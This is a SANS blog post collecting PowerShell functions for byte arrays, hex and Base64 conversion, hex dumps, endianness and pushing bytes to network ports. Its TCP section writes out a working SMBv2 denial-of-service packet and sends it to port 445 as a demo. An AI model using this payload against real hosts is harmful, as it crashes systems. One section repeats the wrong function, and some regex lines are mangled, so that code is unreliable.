homepage
Open menu
Go one level top
  • Train and Certify
    Train and Certify

    Immediately apply the skills and techniques learned in SANS courses, ranges, and summits

    • Overview
    • Courses
      • Overview
      • Full Course List
      • By Focus Areas
        • Cloud Security
        • Cyber Defense
        • Cybersecurity and IT Essentials
        • DFIR
        • Industrial Control Systems
        • Offensive Operations
        • Management, Legal, and Audit
      • By Skill Levels
        • New to Cyber
        • Essentials
        • Advanced
        • Expert
      • Training Formats
        • OnDemand
        • In-Person
        • Live Online
      • Course Demos
    • Training Roadmaps
      • Skills Roadmap
      • Focus Area Job Roles
        • Cyber Defence Job Roles
        • Offensive Operations Job Roles
        • DFIR Job Roles
        • Cloud Job Roles
        • ICS Job Roles
        • Leadership Job Roles
      • NICE Framework
        • Security Provisionals
        • Operate and Maintain
        • Oversee and Govern
        • Protect and Defend
        • Analyze
        • Collect and Operate
        • Investigate
        • Industrial Control Systems
    • GIAC Certifications
    • Training Events & Summits
      • Events Overview
      • Event Locations
        • Asia
        • Australia & New Zealand
        • Latin America
        • Mainland Europe
        • Middle East & Africa
        • Scandinavia
        • United Kingdom & Ireland
        • United States & Canada
      • Summits
    • OnDemand
    • Get Started in Cyber
      • Overview
      • Degree and Certificate Programs
      • Scholarships
    • Cyber Ranges
  • Manage Your Team
    Manage Your Team

    Build a world-class cyber team with our workforce development programs

    • Overview
    • Why Work with SANS
    • Group Purchasing
    • Build Your Team
      • Team Development
      • Assessments
      • Private Training
      • Hire Cyber Professionals
      • By Industry
        • Health Care
        • Industrial Control Systems Security
        • Military
    • Leadership Training
  • Security Awareness
    Security Awareness

    Increase your staff’s cyber awareness, help them change their behaviors, and reduce your organizational risk

    • Overview
    • Products & Services
      • Security Awareness Training
        • EndUser Training
        • Phishing Platform
      • Specialized
        • Developer Training
        • ICS Engineer Training
        • NERC CIP Training
        • IT Administrator
      • Risk Assessments
        • Knowledge Assessment
        • Culture Assessment
        • Behavioral Risk Assessment
    • OUCH! Newsletter
    • Career Development
      • Overview
      • Training & Courses
      • Professional Credential
    • Blog
    • Partners
    • Reports & Case Studies
  • Resources
    Resources

    Enhance your skills with access to thousands of free resources, 150+ instructor-developed tools, and the latest cybersecurity news and analysis

    • Overview
    • Webcasts
    • Free Cybersecurity Events
      • Free Events Overview
      • Summits
      • Solutions Forums
      • Community Nights
    • Content
      • Newsletters
        • NewsBites
        • @RISK
        • OUCH! Newsletter
      • Blog
      • Podcasts
      • Summit Presentations
      • Posters & Cheat Sheets
    • Research
      • White Papers
      • Security Policies
    • Tools
    • Focus Areas
      • Cyber Defense
      • Cloud Security
      • Digital Forensics & Incident Response
      • Industrial Control Systems
      • Cyber Security Leadership
      • Offensive Operations
  • Get Involved
    Get Involved

    Help keep the cyber community one step ahead of threats. Join the SANS community or begin your journey of becoming a SANS Certified Instructor today.

    • Overview
    • Join the Community
    • Work Study
    • Teach for SANS
    • CISO Network
    • Partnerships
    • Sponsorship Opportunities
  • About
    About

    Learn more about how SANS empowers and educates current and future cybersecurity practitioners with knowledge and skills

    • SANS
      • Overview
      • Our Founder
      • Awards
    • Instructors
      • Our Instructors
      • Full Instructor List
    • Mission
      • Our Mission
      • Diversity
      • Scholarships
    • Contact
      • Contact Customer Service
      • Contact Sales
      • Press & Media Enquiries
    • Frequent Asked Questions
    • Customer Reviews
    • Press
    • Careers
  • Contact Sales
  • SANS Sites
    • GIAC Security Certifications
    • Internet Storm Center
    • SANS Technology Institute
    • Security Awareness Training
  • Search
  • Log In
  • Join
    • Account Dashboard
    • Log Out
  1. Home >
  2. Blog >
  3. PowerShell Byte Array And Hex Functions
370x370_Jason-Fossen.jpg
Jason Fossen

PowerShell Byte Array And Hex Functions

February 11, 2010

PowerShell can manipulate and convert binary byte arrays, which is important for malware analysis, interacting with TCP ports, parsing binary log data, and a myriad other tasks. This article is a collection of PowerShell functions and notes for manipulating byte data. All the code here is in the public domain. If you find an error or have a suggested addition, please post a comment! The intention is to create a one-stop shop for PowerShell functions related to byte arrays and binary file handling.

The functions below, and hundreds others, can be found in the SEC505 zip file at BlueTeamPowerShell.com, specifically in the Day1\BinaryData folder within that zip file. All scripts are in the public domain. (If this blogging platform mangles any of the spaces or other characters, the scripts in the zip file will be correct. The formatting in the original scripts is also easier to read than what the blog displays sometimes.)

Background: Byte Array Issues

Handling byte arrays can be a challenge for many reasons:

  • Bytes can be arranged in big-endian or little-endian format, and the endianness may need to be switched by one's code on the fly, e.g., Intel x86 processors use little-endian format internally, but TCP/IP is big-endian.
  • A raw byte can be represented in one's code as a .NET object of type System.Byte, as a hexadecimal string, or in some other format, and this format may need to be changed as the bytes are saved to a file, passed in as an argument to a function, or sent to a TCP port over the network.
  • Hex strings can be delimited in different ways in text files ("0xA5,0xB6" vs. "0xA5:0xB6" vs. "A5-B6") or not delimited at all ("A5B6").
  • Some cmdlets inject unwanted newlines into byte streams when piping.
  • The redirection operators (> and >>) mangle byte streams as they attempt on-the-fly Unicode conversion.
  • Bytes which represent text strings can encode those strings using ASCII, UTF8+BOM, UTF16, UTF16-BE, etc.
  • Newline delimiters in text files can be one or more different bytes depending on the application and operating system which created the file.
  • Some .NET classes have unexpected working directories when their methods are invoked, so paths must be resolved explicitly first.
  • StdIn and StdOut in PowerShell on Windows are not the same as in other languages on other platforms, which can lead to undesired surprises.
  • Manipulating very large arrays can lead to performance problems if the arrays are mishandled, e.g., not using a [Ref] where appropriate, constantly recopying to new arrays under the hood, recasting to different types unnecessarily, using the wrong .NET class or cmdlet, etc.

System.Byte

All variables in PowerShell are .NET objects, including 8-bit unsigned integer bytes. A byte object is an object of type System.Byte in the .NET class library, hence, it has properties and methods accessible to PowerShell (you can pipe them into get-member). To create a single Byte object or an array of Bytes:

[Byte] $x = 0x4D
[Byte[]] $y = 0x4D,0x5A,0x90,0x00,0x03

If you don't cast as a [Byte] or [Byte[]] array, then you'll accidentally get integers. When in doubt, check the type with get-member.

If you want your array to span multiple lines and include comments, that's OK with PowerShell, and remember that you can simply paste the code into your shell, you don't always have to save it to a script file first, hence, you can simply copy the following code and paste it into your shell, it'll work as-is:

[Byte[]] $payload = 0x00,0x00,0x00,0x90,   # NetBIOS Session
0xff,0x53,0x4d,0x42,                       # Server Component: SMB
0x72,                                      # SMB Command: Negotiate Protocol
0x00,0x00,0x00,0x00                        # NT Status: STATUS_SUCCESS

Bitwise Operators (AND, OR, XOR)

PowerShell includes support for some bit-level operators that can work with Byte objects: binary AND (-band), binary OR (-bor) and binary XOR (-bxor). See the about_Comparison_Operators help file for details, and also see the format operator (-f) for handling hex and other formats. PowerShell 2.0 and later supports bitwise operators on 64-bit integers too.

Bit Shifting (<<, >>)

PowerShell 3.0 includes two operators for bit shifting: -shl (shift bits left) and -shr (shift bits right with sign preservation). You can also get bit shifting functions here at Joel Bennett's site.

Get/Set/Add-Content Cmdlets

The following PowerShell cmdlets will take an "-encoding byte" argument, which you will want to use whenever manipulating raw bytes with cmdlets in order to avoid unwanted on-the-fly Unicode conversions:

  • Get-Content
  • Set-Content
  • Add-Content

The Out-File cmdlet has an -Encoding parameter too, but it will not take "byte" as an argument. The redirection operators (">" and ">>") actually use Out-File under the hood, which is why you should not use redirection operators (or Out-File) when handling raw bytes. The problem is that PowerShell often tries to be helpful by chomping and converting piped string data into lines of Unicode, but this is not helpful when you wish to handle a raw array of bytes as is.

To read the bytes of a file into an array:

[byte[]] $x = get-content -encoding byte -path file.exe

To read only the first 1000 bytes of a file into an array:

[byte[]] $x = get-content -encoding byte -path file.exe -totalcount 1000

However, the performance of get-content is not great, even when you set "-readcount 0". The get-filebyte function below is faster.

The same is not true, though, for set-content and add-content; their performance is probably adequate for even 5MB of data, but the write-filebyte function below is still much faster when working with more than 5MB.

Remember that you can't pipe just anything into set-content or add-content when using byte encoding, you must pipe objects of type System.Byte specifically. You will often need to convert your input data into a System.Byte[] array first (and there are functions below for this).

To overwrite or create a file with raw bytes, avoiding any hidden string conversion, where $x is a Byte[] array:

set-content -value $x -encoding byte -path outfile.exe

To append to or create a file with raw bytes, avoiding any hidden string conversion, where $x is a Byte[] array:

add-content -value $x -encoding byte -path outfile.exe

Reading The Bytes Of A File Into A Byte Array

To quickly read the bytes of a file into a Byte[] array, even if the file is megabytes in size:

function Read-FileByte
{
################################################################
#.Synopsis
#     Returns an array of System.Byte[] of the file contents.
#.Parameter Path
#     Path to the file as a string or as System.IO.FileInfo object.
#     FileInfo object can be piped into the function. Path as a
#     string can be relative or absolute, but cannot be piped.
################################################################
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Alias("FullName","FilePath")]
$Path )
 
[System.IO.File]::ReadAllBytes( $(resolve-path $Path) )
}

Writing Byte Array To File

To write a Byte[] array in memory to a new file or to overwrite an existing file (use the Add-Content cmdlet if you simply want to append):

function Write-FileByte
{
################################################################
#.Synopsis
# Overwrites or creates a file with an array of raw bytes.
#.Parameter ByteArray
# System.Byte[] array of bytes to put into the file. If you
# pipe this array in, you must pipe the [Ref] to the array.
#.Parameter Path
# Path to the file as a string or as System.IO.FileInfo object.
# Path as a string can be relative, absolute, or a simple file
# name if the file is in the present working directory.
#.Example
# write-filebyte -bytearray $bytes -path outfile.bin
#.Example
# [Ref] $bytes | write-filebyte -path c:\temp\outfile.bin
################################################################
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,
[Parameter(Mandatory = $True)] $Path )
 
if ($Path -is [System.IO.FileInfo])
{ $Path = $Path.FullName }
elseif ($Path -notlike "*\*") #Simple file name.
{ $Path = "$pwd" + "\" + "$Path" }
elseif ($Path -like ".\*") #pwd of script
{ $Path = $Path -replace "^\.",$pwd.Path }
elseif ($Path -like "..\*") #parent directory of pwd of script
{ $Path = $Path -replace "^\.\.",$(get-item $pwd).Parent.FullName }
else
{ throw "Cannot resolve path!" }
 
[System.IO.File]::WriteAllBytes($Path, $ByteArray)
}

Convert Hex String To Byte Array

You will often need to work with bytes represented in different formats and to convert between these formats. And sometimes you'll have source code written in other programming languages that contain the equivalent of Byte[] arrays which you want to extract and convert into something more PowerShell-malleable, which is not hard if you paste that code into a here-string in your shell and then convert that string into a Byte[] array.

To extract hex data out of a string and convert that data into a Byte[] array while ignoring whitespaces, formatting or other non-hex characters in the string:

function Convert-HexStringToByteArray
{
################################################################
#.Synopsis
# Convert a string of hex data into a System.Byte[] array. An
# array is always returned, even if it contains only one byte.
#.Parameter String
# A string containing hex data in any of a variety of formats,
# including strings like the following, with or without extra
# tabs, spaces, quotes or other non-hex characters:
# 0x41,0x42,0x43,0x44
# \x41\x42\x43\x44
# 41-42-43-44
# 41424344
# The string can be piped into the function too.
################################################################
[CmdletBinding()]
Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [String] $String )
 
#Clean out whitespaces and any other non-hex crud.
$String = $String.ToLower() -replace '[^a-f0-9\\,x\-\:]',"
 
#Try to put into canonical colon-delimited format.
$String = $String -replace '0x|\x|\-|,',':'
 
#Remove beginning and ending colons, and other detritus.
$String = $String -replace '^:+|:+$|x|\',"
 
#Maybe there's nothing left over to convert...
if ($String.Length -eq 0) { ,@() ; return }
 
#Split string with or without colon delimiters.
if ($String.Length -eq 1)
{ ,@([System.Convert]::ToByte($String,16)) }
elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(":") -eq -1))
{ ,@($String -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}) }
elseif ($String.IndexOf(":") -ne -1)
{ ,@($String -split ':+' | foreach-object {[System.Convert]::ToByte($_,16)}) }
else
{ ,@() }
#The strange ",@(...)" syntax is needed to force the output into an
#array even if there is only one element in the output (or none).
}

Convert Byte Array To Hex

To convert a Byte[] array into a string containing hex characters in a variety of formats:

function Convert-ByteArrayToHexString
{
################################################################
#.Synopsis
# Returns a hex representation of a System.Byte[] array as
# one or more strings. Hex format can be changed.
#.Parameter ByteArray
# System.Byte[] array of bytes to put into the file. If you
# pipe this array in, you must pipe the [Ref] to the array.
# Also accepts a single Byte object instead of Byte[].
#.Parameter Width
# Number of hex characters per line of output.
#.Parameter Delimiter
# How each pair of hex characters (each byte of input) will be
# delimited from the next pair in the output. The default
# looks like "0x41,0xFF,0xB9" but you could specify "\x" if
# you want the output like "\x41\xFF\xB9" instead. You do
# not have to worry about an extra comma, semicolon, colon
# or tab appearing before each line of output. The default
# value is ",0x".
#.Parameter Prepend
# An optional string you can prepend to each line of hex
# output, perhaps like '$x += ' to paste into another
# script, hence the single quotes.
#.Parameter AddQuotes
# A switch which will enclose each line in double-quotes.
#.Example
# [Byte[]] $x = 0x41,0x42,0x43,0x44
# Convert-ByteArrayToHexString $x
#
# 0x41,0x42,0x43,0x44
#.Example
# [Byte[]] $x = 0x41,0x42,0x43,0x44
# Convert-ByteArrayToHexString $x -width 2 -delimiter "\x" -addquotes
#
# "\x41\x42"
# "\x43\x44"
################################################################
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,
[Parameter()] [Int] $Width = 10,
[Parameter()] [String] $Delimiter = ",0x",
[Parameter()] [String] $Prepend = "",
[Parameter()] [Switch] $AddQuotes )
 
if ($Width -lt 1) { $Width = 1 }
if ($ByteArray.Length -eq 0) { Return }
$FirstDelimiter = $Delimiter -Replace "^[\,\:\t]",""
$From = 0
$To = $Width - 1
Do
{
$String = [System.BitConverter]::ToString($ByteArray[$From..$To])
$String = $FirstDelimiter + ($String -replace "\-",$Delimiter)
if ($AddQuotes) { $String = '"' + $String + '"' }
if ($Prepend -ne "") { $String = $Prepend + $String }
$String
$From += $Width
$To += $Width
} While ($From -lt $ByteArray.Length)
}

Convert Byte Array To String (ASCII, UTF16, Etc)

To convert a Byte[] array which encodes ASCII, Unicode or UTF characters into a regular string:

function Convert-ByteArrayToHexString
{
################################################################
#.Synopsis
# Returns a hex representation of a System.Byte[] array as
# one or more strings. Hex format can be changed.
#.Parameter ByteArray
# System.Byte[] array of bytes to put into the file. If you
# pipe this array in, you must pipe the [Ref] to the array.
# Also accepts a single Byte object instead of Byte[].
#.Parameter Width
# Number of hex characters per line of output.
#.Parameter Delimiter
# How each pair of hex characters (each byte of input) will be
# delimited from the next pair in the output. The default
# looks like "0x41,0xFF,0xB9" but you could specify "\x" if
# you want the output like "\x41\xFF\xB9" instead. You do
# not have to worry about an extra comma, semicolon, colon
# or tab appearing before each line of output. The default
# value is ",0x".
#.Parameter Prepend
# An optional string you can prepend to each line of hex
# output, perhaps like '$x += ' to paste into another
# script, hence the single quotes.
#.Parameter AddQuotes
# A switch which will enclose each line in double-quotes.
#.Example
# [Byte[]] $x = 0x41,0x42,0x43,0x44
# Convert-ByteArrayToHexString $x
#
# 0x41,0x42,0x43,0x44
#.Example
# [Byte[]] $x = 0x41,0x42,0x43,0x44
# Convert-ByteArrayToHexString $x -width 2 -delimiter "\x" -addquotes
#
# "\x41\x42"
# "\x43\x44"
################################################################
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,
[Parameter()] [Int] $Width = 10,
[Parameter()] [String] $Delimiter = ",0x",
[Parameter()] [String] $Prepend = "",
[Parameter()] [Switch] $AddQuotes )
 
if ($Width -lt 1) { $Width = 1 }
if ($ByteArray.Length -eq 0) { Return }
$FirstDelimiter = $Delimiter -Replace "^[\,\:\t]",""
$From = 0
$To = $Width - 1
Do
{
$String = [System.BitConverter]::ToString($ByteArray[$From..$To])
$String = $FirstDelimiter + ($String -replace "\-",$Delimiter)
if ($AddQuotes) { $String = '"' + $String + '"' }
if ($Prepend -ne "") { $String = $Prepend + $String }
$String
$From += $Width
$To += $Width
} While ($From -lt $ByteArray.Length)
}

Display A File's Hex Dump

There are many hex dumpers, but PowerShell dumpers can be copied into one's profile script, accept piped file objects, and support parameters like -Width, -Count, -NoOffset and -NoText to hopefully make it more flexible. You can get this as a stand-alone script (Get-FileHex.ps1) from the SEC505 zip file if you wish, along with lots of other scripts.

function Get-FileHex
{
################################################################
#.Synopsis
# Display the hex dump of a file.
#.Parameter Path
# Path to file as a string or as a System.IO.FileInfo object;
# object can be piped into the function, string cannot.
#.Parameter Width
# Number of hex bytes shown per line (default = 16).
#.Parameter Count
# Number of bytes in the file to process (default = all).
#.Parameter PlaceHolder
# What to print when byte is not a character (default= '.' ).
#.Parameter NoOffset
# Switch to suppress offset line numbers in output (left).
#.Parameter NoText
# Switch to suppress text mapping of bytes in output (right).
################################################################
[CmdletBinding()] Param
(
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Alias("FullName","FilePath")] $Path,
[Int] $Width = 16,
[Int] $Count = -1,
[String] $PlaceHolder = ".",
[Switch] $NoOffset,
[Switch] $NoText
)
 
$linecounter = 0 # Offset from beginning of file in hex.
#$placeholder = "." # What to print when byte is not a letter or digit.
get-content $path -encoding byte -readcount $width -totalcount $count |
foreach-object `
{
$paddedhex = $text = $null
$bytes = $_ # Array of [Byte] objects that is $width items in length.
foreach ($byte in $bytes)`
{
$byteinhex = [String]::Format("{0:X}", $byte) # Convert byte to hex.
$paddedhex += $byteinhex.PadLeft(2,"0") + " " # Pad with two zeros.
}
# Total bytes unlikely to be evenly divisible by $width, so fix last line.
# Hex output width is '$width * 3' because of the extra spaces.
if ($paddedhex.length -lt $width * 3)
{ $paddedhex = $paddedhex.PadRight($width * 3," ") }
foreach ($byte in $bytes)`
{
if ( [Char]::IsLetterOrDigit($byte) -or
[Char]::IsPunctuation($byte) -or
[Char]::IsSymbol($byte) )
{ $text += [Char] $byte }
else
{ $text += $placeholder }
}
$offsettext = [String]::Format("{0:X}", $linecounter) # Linecounter in hex too.
$offsettext = $offsettext.PadLeft(8,"0") + "h:" # Pad linecounter with left zeros.
$linecounter += $width # Increment linecounter.
if (-not $NoOffset) { $paddedhex = "$offsettext $paddedhex" }
if (-not $NoText) { $paddedhex = $paddedhex + $text }
$paddedhex
}
}


Converting To/From Base64 In Various Ways

Here are some functions whose names should be fairly self-explanatory:

function Convert-FromBase64ToAscii
{
[CmdletBinding()]
Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($String))
}
 
function Convert-FromAsciiToBase64
{
[CmdletBinding()]
Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )
[System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($String))
}
 
function Convert-FromBase64ToUnicode
{
[CmdletBinding()]
Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )
[System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String($String))
}
 
function Convert-FromUnicodeToBase64
{
[CmdletBinding()]
Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )
[System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($String))
}
 
function Convert-FromBinaryFileToBase64
{
[CmdletBinding()]
Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $Path )
[System.Convert]::ToBase64String( $(Get-Content -ReadCount 0 -Encoding Byte -Path $Path) )
}
 
function Convert-FromBase64ToBinaryFile
{
[CmdletBinding()]
Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String ,
[Parameter(Mandatory = $True, Position = 1, ValueFromPipeline = $False)] $Path )
[System.Convert]::FromBase64String( $String ) | Set-Content -Path $Path -Encoding Byte
}

Using BinaryFormatter

Save or read large arrays of doubles to binary files very quickly. Uses System.Runtime.Serialization.Formatters.Binary.BinaryFormatter, which means any other .NET application can easily read it too, but the file contents are not text, i.e., not good for non-.NET apps.

function Save-NumericalArrayToFile ([String] $FilePath, $Array)
{
if (($FilePath.IndexOf(':') -eq -1) -and (-not $FilePath.StartsWith('\')))
{ throw 'FilePath must be a full explicit path!' ; return }
 
Try
{
$FileStream = New-Object -TypeName System.IO.FileStream -ArgumentList @( $FilePath, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write) -ErrorAction Stop
$BinFormatter = New-Object -TypeName 'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter' -ErrorAction Stop
$BinFormatter.Serialize( $FileStream, $Array )
}
Catch { return $_ }
Finally { if ($FileStream){ $FileStream.Close() } }
}
 
[Double[]] $m1 = 1..1000000
Save-NumericalArrayToFile -FilePath 'f:\temp\serial.bin' -Array $m1
 
function Read-NumericalArrayFromFile ([String] $FilePath)
{
Try { $FilePath = (dir $FilePath -ErrorAction Stop | Resolve-Path -ErrorAction Stop).ProviderPath } Catch { return $_ }
 
Try
{
$FileStream = New-Object -TypeName System.IO.FileStream -ArgumentList @( $FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) -ErrorAction Stop
$BinFormatter = New-Object -TypeName 'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter' -ErrorAction Stop
,($BinFormatter.Deserialize( $FileStream )) #Don't delete the comma; returns the entire filled array.
}
Catch { return $_ }
Finally { if ($FileStream){ $FileStream.Close() } }
}
 
$data = Read-NumericalArrayFromFile -FilePath "f:\temp\serial.bin"

Toggle Big/Little Endian (With Sub-Widths)

Different platforms, languages, protocols and file formats may represent data in big-endian, little-endian, middle-endian or some other format (this is also called the "NUXI problem" or the "byte order problem"). If the relevant unit of data within an array is the single byte, then reversing the order of the array is sufficient to toggle endianness, but if the unit to be swapped is two or more bytes (within a larger array) then a simple reversing might not be desired because then the ordering is changed within that unit too. Ideally, a single function could be called multiple times, if necessary, with different unit lengths on a chopped up array of bytes to achieve the right endianness both within and across units in the original array. However, usually you'll probably have just an array of bytes (1 unit = 1 byte) that simply needs to be reversed to toggle the endianness.

function Toggle-Endian
{
################################################################
#.Synopsis
# Swaps the ordering of bytes in an array where each swappable
# unit can be one or more bytes, and, if more than one, the
# ordering of the bytes within that unit is NOT swapped. Can
# be used to toggle between little- and big-endian formats.
# Cannot be used to swap nibbles or bits within a single byte.
#.Parameter ByteArray
# System.Byte[] array of bytes to be rearranged. If you
# pipe this array in, you must pipe the [Ref] to the array, but
# a new array will be returned (originally array untouched).
#.Parameter SubWidthInBytes
# Defaults to 1 byte. Defines the number of bytes in each unit
# (or atomic element) which is swapped, but no swapping occurs
# within that unit. The number of bytes in the ByteArray must
# be evenly divisible by SubWidthInBytes.
#.Example
# $bytearray = toggle-endian $bytearray
#.Example
# [Ref] $bytearray | toggle-endian -SubWidthInBytes 2
################################################################
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,
[Parameter()] [Int] $SubWidthInBytes = 1 )
 
if ($ByteArray.count -eq 1 -or $ByteArray.count -eq 0)
{ $ByteArray ; return }
 
if ($SubWidthInBytes -eq 1)
{ [System.Array]::Reverse($ByteArray); $ByteArray ; return }
 
if ($ByteArray.count % $SubWidthInBytes -ne 0)
{ throw "ByteArray size must be an even multiple of SubWidthInBytes!" ; return }
 
$newarray = new-object System.Byte[] $ByteArray.count
 
# $i tracks ByteArray from head, $j tracks NewArray from end.
for ($($i = 0; $j = $newarray.count - 1) ;
$i -lt $ByteArray.count ;
$($i += $SubWidthInBytes; $j -= $SubWidthInBytes))
{
for ($k = 0 ; $k -lt $SubWidthInBytes ; $k++)
{ $newarray[$j - ($SubWidthInBytes - 1) + $k] = $ByteArray[$i + $k] }
}
$newarray
}

Inject Byte Array Into Listening TCP or UDP Port

As long as we're on the subject of manipulating bytes, sending bytes to a listening TCP or UDP port is easy (but processing responses requires more effort — Lee Holmes has a nice script for it). Since it seems every miscellaneous language has been used to demonstrate how to run a particular DoS attack against SMBv2 on some Windows versions, here it is in PowerShell too for the bandwagon (there's nothing new here, the attack is well-known, it's just a demo for the function):

function PushToTcpPort
{
param ([Byte[]] $bytearray, [String] $ipaddress, [Int32] $port)
$tcpclient = new-object System.Net.Sockets.TcpClient($ipaddress, $port) -ErrorAction "SilentlyContinue"
trap { "Failed to connect to $ipaddress`:$port" ; return }
$networkstream = $tcpclient.getstream()
#write(payload,starting offset,number of bytes to send)
$networkstream.write($bytearray,0,$bytearray.length)
$networkstream.close(1) #Wait 1 second before closing TCP session.
$tcpclient.close()
}
 
[System.Byte[]] $payload =
0x00,0x00,0x00,0x90,                          # NetBIOS Session (these are fields as shown in Wireshark)
0xff,0x53,0x4d,0x42,                          # Server Component: SMB
0x72,                                         # SMB Command: Negotiate Protocol
0x00,0x00,0x00,0x00,                          # NT Status: STATUS_SUCCESS
0x18,                                         # Flags: Operation 0x18
0x53,0xc8,                                    # Flags2: Sub 0xc853
0x00,0x26,                                    # Process ID High (normal value should be 0x00,0x00)
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,      # Signature
0x00,0x00,                                    # Reserved
0xff,0xff,                                    # Tree ID
0xff,0xfe,                                    # Process ID
0x00,0x00,                                    # User ID
0x00,0x00,                                    # Multiplex ID
0x00,                                         # Negotiate Protocol Request: Word Count (WCT)
0x6d,0x00,                                    # Byte Count (BCC)
0x02,0x50,0x43,0x20,0x4e,0x45,0x54,0x57,0x4f,0x52,0x4b,0x20,0x50,0x52,0x4f,0x47,0x52,0x41,0x4d,0x20,0x31,0x2e,0x30,0x00, # Requested Dialects: PC NETWORK PROGRAM 1.0
0x02,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x31,0x2e,0x30,0x00,         # Requested Dialects: LANMAN1.0
0x02,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x66,0x6f,0x72,0x20,0x57,0x6f,0x72,0x6b,0x67,0x72,0x6f,0x75,0x70,0x73,0x20,0x33,0x2e,0x31,0x61,0x00, # Requested Dialects: Windows for Workgroups 3.1a
0x02,0x4c,0x4d,0x31,0x2e,0x32,0x58,0x30,0x30,0x32,0x00,         # Requested Dialects: LM1.2X002
0x02,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x32,0x2e,0x31,0x00,         # Requested Dialects: LANMAN2.1
0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00,    # Requested Dialects: NT LM 0.12
0x02,0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00          # Requested Dialects: SMB 2.002
 
PushToTcpPort -bytearray $payload -ipaddress "127.0.0.1" -port 445

And here's a function for pushing a Byte[] array to a UDP port. You can find a script to send payloads to RFC syslog in the zip file.

function PushToUdpPort {
################################################################
#.Synopsis
#  Send byte array over UDP to IP address and port number.
#.Parameter ByteArray
#  Array of [Byte] objects for the UDP payload.
#.Parameter IP
#  IP address or FQDN of the destination host.
#.Parameter Port
#  UDP port number at destination host.
#.Example
#
# [byte[]] $payload = 0x41, 0x42, 0x43, 0x44, 0x45
# PushToUdpPort $payload -ip "www.sans.org" -port 1531
#
################################################################
 
[CmdletBinding()]
Param ( [Parameter(Mandatory = $True)] [Byte[]] $ByteArray,
[Parameter(Mandatory = $True)] [String] $IP,
[Parameter(Mandatory = $True)] [Int] $Port
)
 
$UdpClient = New-Object System.Net.Sockets.UdpClient
$UdpClient.Connect($IP,$Port)
$UdpClient.Send($ByteArray, $ByteArray.length) | out-null
}

Misc Notes

The "0xFF,0xFE" bytes at the beginning of a Unicode text file are byte order marks to indicate the use of little-endian UTF-16.

"0x0D" and "0x0A" are the ASCII carriage-return and linefeed ASCII bytes, respectively, which together represent a Windows-style newline delimiter. This Windows-style newline delimiter in Unicode is "0x00,0x0D,0x00,0x0A". But in Unix-like systems, the ASCII newline is just "0x0A", and older Macs use "0x0D", so you will see these formats too; but be aware that many cmdlets will do on-the-fly conversion to Windows-style newlines (and possibly Unicode conversion too) when saving back to disk. When hashing text files, be aware of how the newlines and encoding (ASCII, UTF8-BOM, UTF16, UTF16-BE, etc) may have changed, since "the same" text will hash to different thumbprints if the newlines or encoding have unexpectedly changed.

What Else?

I'm sure there are other byte array functions missing here, so what else should be added? And if you find a bug, please let me know!

Share:
TwitterLinkedInFacebook
Copy url Url was copied to clipboard
Subscribe to SANS Newsletters
Receive curated news, vulnerabilities, & security awareness tips
United States
Canada
United Kingdom
Spain
Belgium
Denmark
Norway
Netherlands
Australia
India
Japan
Singapore
Afghanistan
Aland Islands
Albania
Algeria
American Samoa
Andorra
Angola
Anguilla
Antarctica
Antigua and Barbuda
Argentina
Armenia
Aruba
Austria
Azerbaijan
Bahamas
Bahrain
Bangladesh
Barbados
Belarus
Belize
Benin
Bermuda
Bhutan
Bolivia
Bonaire, Sint Eustatius, and Saba
Bosnia And Herzegovina
Botswana
Bouvet Island
Brazil
British Indian Ocean Territory
Brunei Darussalam
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Cape Verde
Cayman Islands
Central African Republic
Chad
Chile
China
Christmas Island
Cocos (Keeling) Islands
Colombia
Comoros
Cook Islands
Costa Rica
Croatia (Local Name: Hrvatska)
Curacao
Cyprus
Czech Republic
Democratic Republic of the Congo
Djibouti
Dominica
Dominican Republic
East Timor
East Timor
Ecuador
Egypt
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (Malvinas)
Faroe Islands
Fiji
Finland
France
French Guiana
French Polynesia
French Southern Territories
Gabon
Gambia
Georgia
Germany
Ghana
Gibraltar
Greece
Greenland
Grenada
Guadeloupe
Guam
Guatemala
Guernsey
Guinea
Guinea-Bissau
Guyana
Haiti
Heard And McDonald Islands
Honduras
Hong Kong
Hungary
Iceland
Indonesia
Iraq
Ireland
Isle of Man
Israel
Italy
Jamaica
Jersey
Jordan
Kazakhstan
Kenya
Kiribati
Korea, Republic Of
Kosovo
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Latvia
Lebanon
Lesotho
Liberia
Liechtenstein
